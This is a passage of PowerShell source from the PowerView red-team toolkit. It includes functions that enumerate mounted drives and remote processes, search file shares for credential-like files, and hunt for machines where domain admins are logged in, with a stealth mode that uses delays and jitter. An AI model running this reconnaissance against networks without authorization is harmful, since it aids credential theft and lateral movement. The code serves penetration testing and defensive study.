        A [Management.Automation.PSCredential] object for the remote connection.

    .EXAMPLE

        PS C:\> Get-RegistryMountedDrive

        Returns the saved network mounted drives for the local machine.

    .EXAMPLE

        PS C:\> Get-RegistryMountedDrive -ComputerName WINDOWS2.testlab.local

        Returns the saved network mounted drives for the WINDOWS2.testlab.local machine

    .EXAMPLE

        PS C:\> Get-RegistryMountedDrive -ComputerName WINDOWS2.testlab.local -Credential $Cred

        Returns the saved network mounted drives for the WINDOWS2.testlab.local machine using alternate credentials.

    .EXAMPLE

        PS C:\> Get-NetComputer | Get-RegistryMountedDrive

        Get the saved network mounted drives for all machines in the domain.
#>

    [CmdletBinding()]
    param(
        [Parameter(ValueFromPipeline=$True)]
        [Alias('HostName')]
        [Object[]]
        [ValidateNotNullOrEmpty()]
        $ComputerName = 'localhost',

        [Management.Automation.PSCredential]
        $Credential
    )

    # extract the computer name from whatever object was passed on the pipeline
    $Computer = $ComputerName | Get-NameField

    # HKEY_USERS
    $HKU = 2147483651

    try {
        if($Credential) {
            $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue
        }
        else {
            $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue
        }

        # extract out the SIDs of domain users in this hive
        $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }

        foreach ($UserSID in $UserSIDs) {

            try {
                $UserName = Convert-SidToName $UserSID

                $DriveLetters = ($Reg.EnumKey($HKU, "$UserSID\Network")).sNames

                ForEach($DriveLetter in $DriveLetters) {
                    $ProviderName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'ProviderName').sValue
                    $RemotePath = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'RemotePath').sValue
                    $DriveUserName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'UserName').sValue
                    if(-not $UserName) { $UserName = '' }

                    if($RemotePath -and ($RemotePath -ne '')) {
                        $MountedDrive = New-Object PSObject
                        $MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer
                        $MountedDrive | Add-Member Noteproperty 'UserName' $UserName
                        $MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID
                        $MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter
                        $MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName
                        $MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath
                        $MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName
                        $MountedDrive
                    }
                }
            }
            catch {
                Write-Verbose "Error: $_"
            }
        }
    }
    catch {
        Write-Warning "Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_"
    }
}


filter Get-NetProcess {
<#
    .SYNOPSIS

        Gets a list of processes/owners on a remote machine.

    .PARAMETER ComputerName

        The hostname to query processes. Defaults to the local host name.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object for the remote connection.

    .EXAMPLE

        PS C:\> Get-NetProcess -ComputerName WINDOWS1
    
        Returns the current processes for WINDOWS1
#>

    [CmdletBinding()]
    param(
        [Parameter(ValueFromPipeline=$True)]
        [Alias('HostName')]
        [Object[]]
        [ValidateNotNullOrEmpty()]
        $ComputerName = [System.Net.Dns]::GetHostName(),

        [Management.Automation.PSCredential]
        $Credential
    )

    # extract the computer name from whatever object was passed on the pipeline
    $Computer = $ComputerName | Get-NameField

    try {
        if($Credential) {
            $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName -Credential $Credential
        }
        else {
            $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName
        }

        $Processes | ForEach-Object {
            $Owner = $_.getowner();
            $Process = New-Object PSObject
            $Process | Add-Member Noteproperty 'ComputerName' $Computer
            $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName
            $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID
            $Process | Add-Member Noteproperty 'Domain' $Owner.Domain
            $Process | Add-Member Noteproperty 'User' $Owner.User
            $Process                
        }
    }
    catch {
        Write-Verbose "[!] Error enumerating remote processes on $Computer, access likely denied: $_"
    }
}


function Find-InterestingFile {
<#
    .SYNOPSIS

        This function recursively searches a given UNC path for files with
        specific keywords in the name (default of pass, sensitive, secret, admin,
        login and unattend*.xml). The output can be piped out to a csv with the
        -OutFile flag. By default, hidden files/folders are included in search results.

    .PARAMETER Path

        UNC/local path to recursively search.

    .PARAMETER Terms

        Terms to search for.

    .PARAMETER OfficeDocs

        Switch. Search for office documents (*.doc*, *.xls*, *.ppt*)

    .PARAMETER FreshEXEs

        Switch. Find .EXEs accessed within the last week.

    .PARAMETER LastAccessTime

        Only return files with a LastAccessTime greater than this date value.

    .PARAMETER LastWriteTime

        Only return files with a LastWriteTime greater than this date value.

    .PARAMETER CreationTime

        Only return files with a CreationTime greater than this date value.

    .PARAMETER ExcludeFolders

        Switch. Exclude folders from the search results.

    .PARAMETER ExcludeHidden

        Switch. Exclude hidden files and folders from the search results.

    .PARAMETER CheckWriteAccess

        Switch. Only returns files the current user has write access to.

    .PARAMETER OutFile

        Output results to a specified csv output file.

    .PARAMETER UsePSDrive

        Switch. Mount target remote path with temporary PSDrives.

    .OUTPUTS

        The full path, owner, lastaccess time, lastwrite time, and size for each found file.

    .EXAMPLE

        PS C:\> Find-InterestingFile -Path C:\Backup\
        
        Returns any files on the local path C:\Backup\ that have the default
        search term set in the title.

    .EXAMPLE

        PS C:\> Find-InterestingFile -Path \\WINDOWS7\Users\ -Terms salaries,email -OutFile out.csv
        
        Returns any files on the remote path \\WINDOWS7\Users\ that have 'salaries'
        or 'email' in the title, and writes the results out to a csv file
        named 'out.csv'

    .EXAMPLE

        PS C:\> Find-InterestingFile -Path \\WINDOWS7\Users\ -LastAccessTime (Get-Date).AddDays(-7)

        Returns any files on the remote path \\WINDOWS7\Users\ that have the default
        search term set in the title and were accessed within the last week.

    .LINK
        
        http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/
#>
    
    param(
        [Parameter(ValueFromPipeline=$True)]
        [String]
        $Path = '.\',

        [Alias('Terms')]
        [String[]]
        $SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config'),

        [Switch]
        $OfficeDocs,

        [Switch]
        $FreshEXEs,

        [String]
        $LastAccessTime,

        [String]
        $LastWriteTime,

        [String]
        $CreationTime,

        [Switch]
        $ExcludeFolders,

        [Switch]
        $ExcludeHidden,

        [Switch]
        $CheckWriteAccess,

        [String]
        $OutFile,

        [Switch]
        $UsePSDrive
    )

    begin {

        $Path += if(!$Path.EndsWith('\')) {"\"}

        if ($Credential) {
            $UsePSDrive = $True
        }

        # append wildcards to the front and back of all search terms
        $SearchTerms = $SearchTerms | ForEach-Object { if($_ -notmatch '^\*.*\*$') {"*$($_)*"} else{$_} }

        # search just for office documents if specified
        if ($OfficeDocs) {
            $SearchTerms = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx')
        }

        # find .exe's accessed within the last 7 days
        if($FreshEXEs) {
            # get an access time limit of 7 days ago
            $LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy')
            $SearchTerms = '*.exe'
        }

        if($UsePSDrive) {
            # if we're PSDrives, create a temporary mount point

            $Parts = $Path.split('\')
            $FolderPath = $Parts[0..($Parts.length-2)] -join '\'
            $FilePath = $Parts[-1]

            $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join ''
            
            Write-Verbose "Mounting path '$Path' using a temp PSDrive at $RandDrive"

            try {
                $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop
            }
            catch {
                Write-Verbose "Error mounting path '$Path' : $_"
                return $Null
            }

            # so we can cd/dir the new drive
            $Path = "${RandDrive}:\${FilePath}"
        }
    }

    process {

        Write-Verbose "[*] Search path $Path"

        function Invoke-CheckWrite {
            # short helper to check is the current user can write to a file
            [CmdletBinding()]param([String]$Path)
            try {
                $Filetest = [IO.FILE]::OpenWrite($Path)
                $Filetest.Close()
                $True
            }
            catch {
                Write-Verbose -Message $Error[0]
                $False
            }
        }

        $SearchArgs =  @{
            'Path' = $Path
            'Recurse' = $True
            'Force' = $(-not $ExcludeHidden)
            'Include' = $SearchTerms
            'ErrorAction' = 'SilentlyContinue'
        }

        Get-ChildItem @SearchArgs | ForEach-Object {
            Write-Verbose $_
            # check if we're excluding folders
            if(!$ExcludeFolders -or !$_.PSIsContainer) {$_}
        } | ForEach-Object {
            if($LastAccessTime -or $LastWriteTime -or $CreationTime) {
                if($LastAccessTime -and ($_.LastAccessTime -gt $LastAccessTime)) {$_}
                elseif($LastWriteTime -and ($_.LastWriteTime -gt $LastWriteTime)) {$_}
                elseif($CreationTime -and ($_.CreationTime -gt $CreationTime)) {$_}
            }
            else {$_}
        } | ForEach-Object {
            # filter for write access (if applicable)
            if((-not $CheckWriteAccess) -or (Invoke-CheckWrite -Path $_.FullName)) {$_}
        } | Select-Object FullName,@{Name='Owner';Expression={(Get-Acl $_.FullName).Owner}},LastAccessTime,LastWriteTime,CreationTime,Length | ForEach-Object {
            # check if we're outputting to the pipeline or an output file
            if($OutFile) {Export-PowerViewCSV -InputObject $_ -OutFile $OutFile}
            else {$_}
        }
    }

    end {
        if($UsePSDrive -and $RandDrive) {
            Write-Verbose "Removing temp PSDrive $RandDrive"
            Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force
        }
    }
}


########################################################
#
# 'Meta'-functions start below
#
########################################################

function Invoke-ThreadedFunction {
    # Helper used by any threaded host enumeration functions
    [CmdletBinding()]
    param(
        [Parameter(Position=0,Mandatory=$True)]
        [String[]]
        $ComputerName,

        [Parameter(Position=1,Mandatory=$True)]
        [System.Management.Automation.ScriptBlock]
        $ScriptBlock,

        [Parameter(Position=2)]
        [Hashtable]
        $ScriptParameters,

        [Int]
        [ValidateRange(1,100)] 
        $Threads = 20,

        [Switch]
        $NoImports
    )

    begin {

        if ($PSBoundParameters['Debug']) {
            $DebugPreference = 'Continue'
        }

        Write-Verbose "[*] Total number of hosts: $($ComputerName.count)"

        # Adapted from:
        #   http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/
        $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()
        $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState()

        # import the current session state's variables and functions so the chained PowerView
        #   functionality can be used by the threaded blocks
        if(!$NoImports) {

            # grab all the current variables for this runspace
            $MyVars = Get-Variable -Scope 2

            # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice
            $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true")

            # Add Variables from Parent Scope (current runspace) into the InitialSessionState
            ForEach($Var in $MyVars) {
                if($VorbiddenVars -NotContains $Var.Name) {
                $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes))
                }
            }

            # Add Functions from current runspace to the InitialSessionState
            ForEach($Function in (Get-ChildItem Function:)) {
                $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition))
            }
        }

        # threading adapted from
        # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407
        #   Thanks Carlos!

        # create a pool of maxThread runspaces
        $Pool = [runspacefactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host)
        $Pool.Open()

        $method = $null
        ForEach ($m in [PowerShell].GetMethods() | Where-Object { $_.Name -eq "BeginInvoke" }) {
            $methodParameters = $m.GetParameters()
            if (($methodParameters.Count -eq 2) -and $methodParameters[0].Name -eq "input" -and $methodParameters[1].Name -eq "output") {
                $method = $m.MakeGenericMethod([Object], [Object])
                break
            }
        }

        $Jobs = @()
    }

    process {

        ForEach ($Computer in $ComputerName) {

            # make sure we get a server name
            if ($Computer -ne '') {
                # Write-Verbose "[*] Enumerating server $Computer ($($Counter+1) of $($ComputerName.count))"

                While ($($Pool.GetAvailableRunspaces()) -le 0) {
                    Start-Sleep -MilliSeconds 500
                }

                # create a "powershell pipeline runner"
                $p = [powershell]::create()

                $p.runspacepool = $Pool

                # add the script block + arguments
                $Null = $p.AddScript($ScriptBlock).AddParameter('ComputerName', $Computer)
                if($ScriptParameters) {
                    ForEach ($Param in $ScriptParameters.GetEnumerator()) {
                        $Null = $p.AddParameter($Param.Name, $Param.Value)
                    }
                }

                $o = New-Object Management.Automation.PSDataCollection[Object]

                $Jobs += @{
                    PS = $p
                    Output = $o
                    Result = $method.Invoke($p, @($null, [Management.Automation.PSDataCollection[Object]]$o))
                }
            }
        }
    }

    end {
        Write-Verbose "Waiting for threads to finish..."

        Do {
            ForEach ($Job in $Jobs) {
                $Job.Output.ReadAll()
            }
        } While (($Jobs | Where-Object { ! $_.Result.IsCompleted }).Count -gt 0)

        ForEach ($Job in $Jobs) {
            $Job.PS.Dispose()
        }

        $Pool.Dispose()
        Write-Verbose "All threads completed!"
    }
}


function Invoke-UserHunter {
<#
    .SYNOPSIS

        Finds which machines users of a specified group are logged into.

        Author: @harmj0y
        License: BSD 3-Clause

    .DESCRIPTION

        This function finds the local domain name for a host using Get-NetDomain,
        queries the domain for users of a specified group (default "domain admins")
        with Get-NetGroupMember or reads in a target user list, queries the domain for all
        active machines with Get-NetComputer or reads in a pre-populated host list,
        randomly shuffles the target list, then for each server it gets a list of
        active users with Get-NetSession/Get-NetLoggedon. The found user list is compared
        against the target list, and a status message is displayed for any hits.
        The flag -CheckAccess will check each positive host to see if the current
        user has local admin access to the machine.

    .PARAMETER ComputerName

        Host array to enumerate, passable on the pipeline.

    .PARAMETER ComputerFile

        File of hostnames/IPs to search.

    .PARAMETER ComputerFilter

        Host filter name to query AD for, wildcards accepted.

    .PARAMETER ComputerADSpath

        The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
        Useful for OU queries.

    .PARAMETER Unconstrained

        Switch. Only enumerate computers that have unconstrained delegation.

    .PARAMETER GroupName

        Group name to query for target users.

    .PARAMETER TargetServer

        Hunt for users who are effective local admins on a target server.

    .PARAMETER UserName

        Specific username to search for.

    .PARAMETER UserFilter

        A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)"

    .PARAMETER UserADSpath

        The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
        Useful for OU queries.

    .PARAMETER UserFile

        File of usernames to search for.

    .PARAMETER AdminCount

        Switch. Hunt for users with adminCount=1.

    .PARAMETER AllowDelegation

        Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation'

    .PARAMETER StopOnSuccess

        Switch. Stop hunting after finding after finding a target user.

    .PARAMETER NoPing

        Don't ping each host to ensure it's up before enumerating.

    .PARAMETER CheckAccess

        Switch. Check if the current user has local admin access to found machines.

    .PARAMETER Delay

        Delay between enumerating hosts, defaults to 0

    .PARAMETER Jitter

        Jitter for the host delay, defaults to +/- 0.3

    .PARAMETER Domain

        Domain for query for machines, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER ShowAll

        Switch. Return all user location results, i.e. Invoke-UserView functionality.

    .PARAMETER SearchForest

        Switch. Search all domains in the forest for target users instead of just
        a single domain.

    .PARAMETER Stealth

        Switch. Only enumerate sessions from connonly used target servers.

    .PARAMETER StealthSource

        The source of target servers to use, 'DFS' (distributed file servers),
        'DC' (domain controllers), 'File' (file servers), or 'All'

    .PARAMETER ForeignUsers

        Switch. Only return results that are not part of searched domain.

    .PARAMETER Threads

        The maximum concurrent threads to execute.

    .PARAMETER Poll

        Continuously poll for sessions for the given duration. Automatically
        sets Threads to the number of computers being polled.

    .EXAMPLE

        PS C:\> Invoke-UserHunter -CheckAccess

        Finds machines on the local domain where domain admins are logged into
        and checks if the current user has local administrator access.

    .EXAMPLE

        PS C:\> Invoke-UserHunter -Domain 'testing'

        Finds machines on the 'testing' domain where domain admins are logged into.

    .EXAMPLE

        PS C:\> Invoke-UserHunter -Threads 20

        Multi-threaded user hunting, replaces Invoke-UserHunterThreaded.

    .EXAMPLE

        PS C:\> Invoke-UserHunter -UserFile users.txt -ComputerFile hosts.txt

        Finds machines in hosts.txt where any members of users.txt are logged in
        or have sessions.

    .EXAMPLE

        PS C:\> Invoke-UserHunter -GroupName "Power Users" -Delay 60

        Find machines on the domain where members of the "Power Users" groups are
        logged into with a 60 second (+/- *.3) randomized delay between
        touching each host.

    .EXAMPLE

        PS C:\> Invoke-UserHunter -TargetServer FILESERVER

        Query FILESERVER for useres who are effective local administrators using
        Get-NetLocalGroup -Recurse, and hunt for that user set on the network.

    .EXAMPLE

        PS C:\> Invoke-UserHunter -SearchForest

        Find all machines in the current forest where domain admins are logged in.

    .EXAMPLE

        PS C:\> Invoke-UserHunter -Stealth

        Executes old Invoke-StealthUserHunter functionality, enumerating commonly
        used servers and checking just sessions for each.

    .EXAMPLE

        PS C:\> Invoke-UserHunter -Stealth -StealthSource DC -Poll 3600 -Delay 5 -ShowAll | ? { ! $_.UserName.EndsWith('$') }

        Poll Domain Controllers in parallel for sessions for an hour, waiting five
        seconds before querying each DC again and filtering out computer accounts.

    .LINK
        http://blog.harmj0y.net
#>

    [CmdletBinding()]
    param(
        [Parameter(Position=0,ValueFromPipeline=$True)]
        [Alias('Hosts')]
        [String[]]
        $ComputerName,

        [ValidateScript({Test-Path -Path $_ })]
        [Alias('HostList')]
        [String]
        $ComputerFile,

        [String]
        $ComputerFilter,

        [String]
        $ComputerADSpath,

        [Switch]
        $Unconstrained,

        [String]
        $GroupName = 'Domain Admins',

        [String]
        $TargetServer,

        [String]
        $UserName,

        [String]
        $UserFilter,

        [String]
        $UserADSpath,

        [ValidateScript({Test-Path -Path $_ })]
        [String]
        $UserFile,

        [Switch]
        $AdminCount,

        [Switch]
        $AllowDelegation,

        [Switch]
        $CheckAccess,

        [Switch]
        $StopOnSuccess,

        [Switch]
        $NoPing,

        [UInt32]
        $Delay = 0,

        [Double]
        $Jitter = .3,

        [String]
        $Domain,

        [String]
        $DomainController,

        [Switch]
        $ShowAll,

        [Switch]
        $SearchForest,

        [Switch]
        $Stealth,

        [String]
        [ValidateSet("DFS","DC","File","All")]
        $StealthSource ="All",

        [Switch]
        $ForeignUsers,

        [Int]
        [ValidateRange(1,100)]
        $Threads,

        [UInt32]
        $Poll = 0
    )

    begin {

        if ($PSBoundParameters['Debug']) {
            $DebugPreference = 'Continue'
        }

        Write-Verbose "[*] Running Invoke-UserHunter with delay of $Delay"

        #####################################################
        #
        # First we build the host target set
        #
        #####################################################

        if($ComputerFile) {
            # if we're using a host list, read the targets in and add them to the target list
            $ComputerName = Get-Content -Path $ComputerFile
        }

        if(!$ComputerName) { 
            [Array]$ComputerName = @()

            if($Domain) {
                $TargetDomains = @($Domain)
            }
            elseif($SearchForest) {
                # get ALL the domains in the forest to search
                $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
            }
            else {
                # use the local domain
                $TargetDomains = @( (Get-NetDomain).name )
            }
            
            if($Stealth) {
                Write-Verbose "Stealth mode! Enumerating commonly used servers"
                Write-Verbose "Stealth source: $StealthSource"

                ForEach ($Domain in $TargetDomains) {
                    if (($StealthSource -eq "File") -or ($StealthSource -eq "All")) {
                        Write-Verbose "[*] Querying domain $Domain for File Servers..."
                        $ComputerName += Get-NetFileServer -Domain $Domain -DomainController $DomainController
                    }
                    if (($StealthSource -eq "DFS") -or ($StealthSource -eq "All")) {
                        Write-Verbose "[*] Querying domain $Domain for DFS Servers..."
                        $ComputerName += Get-DFSshare -Domain $Domain -DomainController $DomainController | ForEach-Object {$_.RemoteServerName}
                    }
                    if (($StealthSource -eq "DC") -or ($StealthSource -eq "All")) {
                        Write-Verbose "[*] Querying domain $Domain for Domain Controllers..."
                        $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.dnshostname}
                    }
                }
            }
            else {
                ForEach ($Domain in $TargetDomains) {
                    Write-Verbose "[*] Querying domain $Domain for hosts"

                    $Arguments = @{
                        'Domain' = $Domain
                        'DomainController' = $DomainController
                        'ADSpath' = $ADSpath
                        'Filter' = $ComputerFilter
                        'Unconstrained' = $Unconstrained
                    }

                    $ComputerName += Get-NetComputer @Arguments
                }
            }

            # remove any null target hosts, uniquify the list and shuffle it
            $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
            if($($ComputerName.Count) -eq 0) {
                throw "No hosts found!"
            }
        }

        if ($Poll -gt 0) {
            Write-Verbose "[*] Polling for $Poll seconds. Automatically enabling threaded mode."
            if ($ComputerName.Count -gt 100) {
                throw "Too many hosts to poll! Try fewer than 100."
            }
            $Threads = $ComputerName.Count
        }

        #####################################################
        #
        # Now we build the user target set
        #
        #####################################################

        # users we're going to be searching for
        $TargetUsers = @()

        # get the current user so we can ignore it in the results
        $CurrentUser = ([Environment]::UserName).toLower()

        # if we're showing all results, skip username enumeration
        if($ShowAll -or $ForeignUsers) {
            $User = New-Object PSObject
            $User | Add-Member Noteproperty 'MemberDomain' $Null
            $User | Add-Member Noteproperty 'MemberName' '*'
            $TargetUsers = @($User)

            if($ForeignUsers) {
                # if we're searching for user results not in the primary domain
                $krbtgtName = Convert-ADName -ObjectName "krbtgt@$($Domain)" -InputType Simple -OutputType NT4
                $DomainShortName = $krbtgtName.split("\")[0]
            }
        }
        # if we want to hunt for the effective domain users who can access a target server
        elseif($TargetServer) {
            Write-Verbose "Querying target server '$TargetServer' for local users"
            $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object {
                $User = New-Object PSObject
                $User | Add-Member Noteproperty 'MemberDomain' ($_.AccountName).split("/")[0].toLower() 
                $User | Add-Member Noteproperty 'MemberName' ($_.AccountName).split("/")[1].toLower() 
                $User
            }  | Where-Object {$_}
        }
        # if we get a specific username, only use that
        elseif($UserName) {
            Write-Verbose "[*] Using target user '$UserName'..."
            $User = New-Object PSObject
            if($TargetDomains) {
                $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0]
            }
            else {
                $User | Add-Member Noteproperty 'MemberDomain' $Null
            }
            $User | Add-Member Noteproperty 'MemberName' $UserName.ToLower()
            $TargetUsers = @($User)
        }
        # read in a target user list if we have one
        elseif($UserFile) {
            $TargetUsers = Get-Content -Path $UserFile | ForEach-Object {
                $User = New-Object PSObject
                if($TargetDomains) {
                    $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0]
                }
                else {
                    $User | Add-Member Noteproperty 'MemberDomain' $Null
                }
                $User | Add-Member Noteproperty 'MemberName' $_
                $User
            }  | Where-Object {$_}
        }
        elseif($UserADSpath -or $UserFilter -or $AdminCount) {
            ForEach ($Domain in $TargetDomains) {

                $Arguments = @{
                    'Domain' = $Domain
                    'DomainController' = $DomainController
                    'ADSpath' = $UserADSpath
                    'Filter' = $UserFilter
                    'AdminCount' = $AdminCount
                    'AllowDelegation' = $AllowDelegation
                }

                Write-Verbose "[*] Querying domain $Domain for users"
                $TargetUsers += Get-NetUser @Arguments | ForEach-Object {
                    $User = New-Object PSObject
                    $User | Add-Member Noteproperty 'MemberDomain' $Domain
                    $User | Add-Member Noteproperty 'MemberName' $_.samaccountname
                    $User
                }  | Where-Object {$_}

            }
        }
        else {
            ForEach ($Domain in $TargetDomains) {
                Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'"
                $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController
            }
        }

        if (( (-not $ShowAll) -and (-not $ForeignUsers) ) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) {
            throw "[!] No users found to search for!"
        }

        # script block that enumerates a server
        $HostEnumBlock = {
            param($ComputerName, $Ping, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName, $Poll, $Delay, $Jitter)

            # optionally check if the server is up first
            $Up = $True
            if($Ping) {
                $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
            }
            if($Up) {
                $Timer = [System.Diagnostics.Stopwatch]::StartNew()
                $RandNo = New-Object System.Random

                Do {
                    if(!$DomainShortName) {
                        # if we're not searching for foreign users, check session information
                        $Sessions = Get-NetSession -ComputerName $ComputerName
                        ForEach ($Session in $Sessions) {
                            $UserName = $Session.sesi10_username
                            $CName = $Session.sesi10_cname

                            if($CName -and $CName.StartsWith("\\")) {
                                $CName = $CName.TrimStart("\")
                            }

                            # make sure we have a result
                            if (($UserName) -and ($UserName.trim() -ne '') -and (!($UserName -match $CurrentUser))) {

                                $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object {

                                    $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress
                                    $FoundUser = New-Object PSObject
                                    $FoundUser | Add-Member Noteproperty 'UserDomain' $_.MemberDomain
                                    $FoundUser | Add-Member Noteproperty 'UserName' $UserName
                                    $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName
                                    $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress
                                    $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName

                                    # Try to resolve the DNS hostname of $Cname
                                    try {
                                        $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName
                                        $FoundUser | Add-Member NoteProperty 'SessionFromName' $CnameDNSName
                                    }
                                    catch {
                                        $FoundUser | Add-Member NoteProperty 'SessionFromName' $Null
                                    }

                                    # see if we're checking to see if we have local admin access on this machine
                                    if ($CheckAccess) {
                                        $Admin = Invoke-CheckLocalAdminAccess -ComputerName $CName
                                        $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
                                    }
                                    else {
                                        $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null
                                    }
                                    $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession')
                                    $FoundUser
                                }
                            }
                        }
                    }
                    if(!$Stealth) {
                        # if we're not 'stealthy', enumerate loggedon users as well
                        $LoggedOn = Get-NetLoggedon -ComputerName $ComputerName
                        ForEach ($User in $LoggedOn) {
                            $UserName = $User.wkui1_username
                            # TODO: translate domain to authoratative name
                            #   then match domain name ?
                            $UserDomain = $User.wkui1_logon_domain

                            # make sure wet have a result
                            if (($UserName) -and ($UserName.trim() -ne '')) {

                                $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object {

                                    $Proceed = $True
                                    if($DomainShortName) {
                                        if ($DomainShortName.ToLower() -ne $UserDomain.ToLower()) {
                                            $Proceed = $True
                                        }
                                        else {
                                            $Proceed = $False
                                        }
                                    }
                                    if($Proceed) {
                                        $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress
                                        $FoundUser = New-Object PSObject
                                        $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain
                                        $FoundUser | Add-Member Noteproperty 'UserName' $UserName
                                        $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName
                                        $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress
                                        $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null
                                        $FoundUser | Add-Member Noteproperty 'SessionFromName' $Null

                                        # see if we're checking to see if we have local admin access on this machine
                                        if ($CheckAccess) {
                                            $Admin = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName
                                            $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
                                        }
                                        else {
                                            $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null
                                        }
                                        $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession')
                                        $FoundUser
                                    }
                                }
                            }
                        }
                    }

                    if ($Poll -gt 0) {
                        Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
                    }
                } While ($Poll -gt 0 -and $Timer.Elapsed.TotalSeconds -lt $Poll)
            }
        }
    }

    process {

        if($Threads) {
            Write-Verbose "Using threading with threads = $Threads"

            # if we're using threading, kick off the script block with Invoke-ThreadedFunction
            $ScriptParams = @{
                'Ping' = $(-not $NoPing)
                'TargetUsers' = $TargetUsers
                'CurrentUser' = $CurrentUser
                'Stealth' = $Stealth
                'DomainShortName' = $DomainShortName
                'Poll' = $Poll
                'Delay' = $Delay
                'Jitter' = $Jitter
            }

            # kick off the threaded script block + arguments 
            Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
        }

        else {
            if(-not $NoPing -and ($ComputerName.count -ne 1)) {
                # ping all hosts in parallel
                $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
                $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
            }

            Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
            $Counter = 0
            $RandNo = New-Object System.Random

            ForEach ($Computer in $ComputerName) {

                $Counter = $Counter + 1

                # sleep for our semi-randomized interval
